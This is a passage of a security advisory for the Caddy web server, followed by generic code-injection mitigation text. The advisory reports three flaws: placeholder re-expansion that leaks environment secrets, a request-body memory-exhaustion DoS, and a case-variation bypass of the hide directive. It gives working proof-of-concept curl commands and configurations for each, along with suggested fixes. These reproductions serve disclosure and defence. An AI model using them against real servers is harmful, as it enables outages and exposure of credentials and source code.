QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak\n```\n\nURL-decoded query: `postgres://leaked:supersecret@dbserver/production=leak`. The `DATABASE_URL` env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via `reverse_proxy`, and be readable via `{http.request.uri.query}` in any downstream handler.\n\n### Available read primitives\n\nThe same gadget exposes any placeholder the attacker can name in their injected substring:\n- `{env.X}` \u2014 any env var on the Caddy process\n- `{file./path}` \u2014 any file readable by the Caddy process (if `file` provider is registered)\n- `{vars.X}` \u2014 Caddy-internal request variables\n\n### Suggested fix (mirrors the CVE-2026-30852 patch)\n\nAfter splitting at `?`, sanitize placeholder syntax in the injected query before passing it to `buildQueryString`:\n\n```go\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n var injectedQuery string\n newPath, injectedQuery = before, after\n if query == \"\" {\n injectedQuery = strings.ReplaceAll(injectedQuery, \"{\", \"%7B\")\n injectedQuery = strings.ReplaceAll(injectedQuery, \"}\", \"%7D\")\n query = injectedQuery\n }\n}\n```\n\nAlso recommend adding equivalent regression tests in `rewrite_test.go` to the three \"is not re-expanded\" tests in `vars_test.go`.\n\n---\n\n## Issue 2: Unbounded body buffer via `{http.request.body}` placeholder \u2014 memory exhaustion DoS\n\n**File:** `modules/caddyhttp/replacer.go:217-245` (placeholder resolution for `http.request.body`)\n**Class:** CWE-770 (Allocation of Resources Without Limits)\n**Severity:** Moderate (any operator using the documented `log_append body {http.request.body}` pattern is vulnerable)\n\n### Root cause\n\nWhen any handler references the `{http.request.body}` placeholder, the replacer code path reads the entire request body into a byte slice via `io.Copy(buf, req.Body)` with **no `LimitReader`** wrapping. The `needsEarly` flag bypasses the `request_body` middleware\u0027s size limit, because the placeholder is resolved before that middleware sees the request.\n\nThis means an attacker can send a request body of any size (up to whatever `Content-Length` they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.\n\n### Reproduction (real Caddy 2.11.3, 512 MB container cap)\n\n`Caddyfile`:\n```\n{\n admin off\n auto_https off\n}\n\n:8080 {\n log_append body {http.request.body}\n respond \"OK, length received: {http.request.header.Content-Length}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n caddy:\n image: caddy:2.11.3\n mem_limit: 512m\n memswap_limit: 512m\n ports: [\"8080:8080\"]\n volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit (Windows PowerShell):\n```\nPS\u003e fsutil file createnew big.bin 1073741824\nFile C:\\caddy-verify\\test3-body-dos\\big.bin is created\nPS\u003e curl.exe -X POST --data-binary \"@big.bin\" -H \"Expect:\" --max-time 120 http://localhost:8080/\ncurl: (28) Operation timed out after 120010 milliseconds with 0 bytes received\n```\n\nContainer state immediately after:\n```\nPS\u003e docker ps -a --filter name=caddy-verify-3\nCONTAINER ID IMAGE STATUS NAMES\n7f8ba392e7b5 caddy:2.11.3 Exited (137) 2 minutes ago caddy-verify-3\n\nPS\u003e docker inspect caddy-verify-3 --format \"ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}\"\nExitCode=137 OOMKilled=true\n```\n\n`OOMKilled=true` is dispositive \u2014 the Linux kernel\u0027s OOM killer fired. Caddy\u0027s logs cut off cleanly after `\"serving initial configuration\"` with no error message, which is the signature of a process killed mid-allocation by SIGKILL.\n\nA small body works fine:\n```\n$ curl -X POST -d \"hello world\" http://localhost:8080/\nOK, length received: 11\n```\n\n### Real-world exploitability\n\nThe `log_append body {http.request.body}` pattern is in Caddy\u0027s documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like `expression {http.request.body}.contains(\u0027admin\u0027)`, custom header forwarding with `header_up X-Original-Body {http.request.body}`, and any third-party module that resolves the placeholder.\n\nContainer memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.\n\n### Suggested fix\n\nWrap the body read with a `LimitReader` keyed off either:\n1. The operator\u0027s configured `request_body.max_size` (if set), or\n2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.\n\nIf the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.\n\n---\n\n## Issue 3: `fileHidden()` case-sensitive pattern bypass \u2014 exposes \"hidden\" files via case variation\n\n**File:** `modules/caddyhttp/fileserver/staticfiles.go:669-718` (the `fileHidden` function and `filepath.Match` call)\n**Class:** CWE-178 (Improper Handling of Case Sensitivity)\n**Severity:** Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)\n\n### Root cause\n\n`fileHidden()` uses `filepath.Match`, which is **case-sensitive**. However:\n- **macOS APFS** is case-insensitive by default\n- **Windows NTFS** is case-insensitive by default\n- **Linux ext4** can be configured with the `casefold` flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side\n\nOn a case-insensitive filesystem, the OS resolves `/.git` and `/.GIT` to the same directory, but Caddy\u0027s hide check only fires on the exact-case literal `.git`. Result: the file is served via the uppercase URL.\n\nOn a case-sensitive filesystem where both `.git` and `.GIT` exist as separate directories, Caddy hides only `.git` and exposes `.GIT`.\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n admin off\n auto_https off\n}\n\n:8080 {\n root * /srv\n file_server {\n hide .git .env secrets\n }\n}\n```\n\nSetup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):\n\n```\n/srv/.git/HEAD \"ref: refs/heads/main\"\n/srv/.GIT/HEAD \"ref: refs/heads/main (UPPERCASE BYPASS)\"\n/srv/.env \"DATABASE_URL=postgres://user:pass@host\"\n/srv/.ENV \"DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\"\n/srv/secrets/api.txt \"supersecret_api_key=sk_live_real\"\n/srv/SECRETS/api.txt \"supersecret_api_key=sk_live_real (UPPERCASE BYPASS)\"\n```\n\nTest transcript (all three hide rules \u2014 `.git`, `.env`, `secrets` \u2014 bypassed via uppercase):\n\n```\nPS\u003e curl.exe -i http://localhost:8080/.git/HEAD\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/.GIT/HEAD\nHTTP/1.1 200 OK\nContent-Length: 40\nref: refs/heads/main (UPPERCASE BYPASS)\n\nPS\u003e curl.exe -i http://localhost:8080/.env\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/.ENV\nHTTP/1.1 200 OK\nContent-Length: 58\nDATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\n\nPS\u003e curl.exe -i http://localhost:8080/secrets/api.txt\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/SECRETS/api.txt\nHTTP/1.1 200 OK\nContent-Length: 52\nContent-Type: text/plain; charset=utf-8\nsupersecret_api_key=sk_live_real (UPPERCASE BYPASS)\n```\n\nThree separate hide rules, three separate uppercase bypasses, all 200 OK with the \"hidden\" content served.\n\n### Why this matters in practice\n\n`.git`, `.env`, and `secrets/` are three of the most common entries in production Caddy `hide` configurations because they correspond to high-value attacker targets:\n- `.git/HEAD` + `.git/config` + `.git/objects/` \u2192 source code disclosure\n- `.env` \u2192 credentials, API keys, database connection strings\n- `secrets/` \u2192 operator-named bucket of anything sensitive\n\nThe bug means that on macOS and Windows hosts (and a subset of Linux hosts), the `hide` directive provides **no protection at all** for these files \u2014 only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren\u0027t there.\n\n### Suggested fix\n\nIn `fileHidden()`, on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go\u0027s standard library does not expose a portable \"is this filesystem case-insensitive\" check, so a reasonable conservative approach is to always lowercase both sides on `GOOS=darwin` and `GOOS=windows`, and to document for Linux operators that they should not rely on `hide` if their filesystem has `casefold` enabled or if they manage their files with case-folding tools.\n\nAlternative: enforce that paths matched by `hide` are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.\n\n---\n\n## Reproduction kit\n\nA full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official `caddy:2.11.3` Docker image.\n\n## Reporter\n\nIndependent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.",
"id": "GHSA-j8px-rmrx-76h9",
"modified": "2026-09-18T13:09:27Z",
"published": "2026-09-18T13:09:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77281"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/pull/7761"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb"
},
{
"type": "PACKAGE",
"url": "https://github.com/caddyserver/caddy"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.